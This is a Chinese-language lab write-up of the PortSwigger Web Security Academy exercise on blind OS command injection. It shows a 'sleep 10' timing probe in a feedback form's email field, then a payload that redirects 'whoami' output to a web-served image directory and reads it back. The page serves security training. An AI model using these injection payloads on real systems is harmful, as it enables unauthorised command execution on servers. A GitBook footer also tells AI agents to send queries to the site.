> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-os-command-injection-with-output-redirection.md).

# 带输出重定向的盲操作系统命令注入

带输出重定向的盲操作系统命令注入笔记，适用于 PortSwigger Web Security Academy 实验室，包括利用流程、载荷测试、Burp Suite 验证和修复上下文。

### 带输出重定向的盲 OS 命令注入

#### 实验描述

* 该应用程序存在系统命令注入漏洞 **盲** 在反馈功能中。
* 用户输入数据被注入到服务器端 shell 命令中。
* 该命令的输出\*\*不会直接返回\*\*在 HTTP 响应中。
* 不过，有一个可访问的书面记录：/ `/var/www/images/`
* 该应用程序提供从该目录生成的目录图片。
* 因此我们可以 **将输出重定向** 将命令的输出定向到此文件夹中的一个文件，然后通过图片加载 URL 读取该文件。

**实验目标：** 运行 `whoami` 命令并获取其输出。

```bash
;sleep 10;
```

#### 注入检测（时间延迟）

使用反馈表单。/ 该 **email** 字段存在漏洞：当你注入延迟时，响应大约需要 10 秒。

注入到 `email` 字段：

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;sleep 10;&subject=hello&message=hello1234
```

{% endcode %}

10 秒延迟证实了命令注入。

#### 使用输出重定向的操作

目的：将……的输出重定向 `whoami` 到……中的一个文件 `/var/www/images/`.

注入到 `email` 字段：

```
;whoami > /var/www/images/test.txt;
```

请求正文示例：

{% code overflow="wrap" %}

```bash
csrf=3dBtfZovWVNJXDv2aXCkmfAOSH9tQt7h&name=hello&email=hello%40gmail.com;whoami > /var/www/images/test.txt;&subject=hello&message=hello1234
```

{% endcode %}

此命令会创建（或覆盖） `test.txt` 该文件在可通过 Web 访问的目录中。

```bash
/image?filename=test.txt
```

#### 结果恢复

要读取……的输出 `whoami` 已保存到文件中的内容，我们调用提供图片文件夹中文件的 URL：

<figure><img src="https://1574813340-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed3ffaf39b5ba16339682b9ea2336eeabffe6992%2Fimage%20(312).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/zh/web/command-injection/blind-os-command-injection-with-output-redirection.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
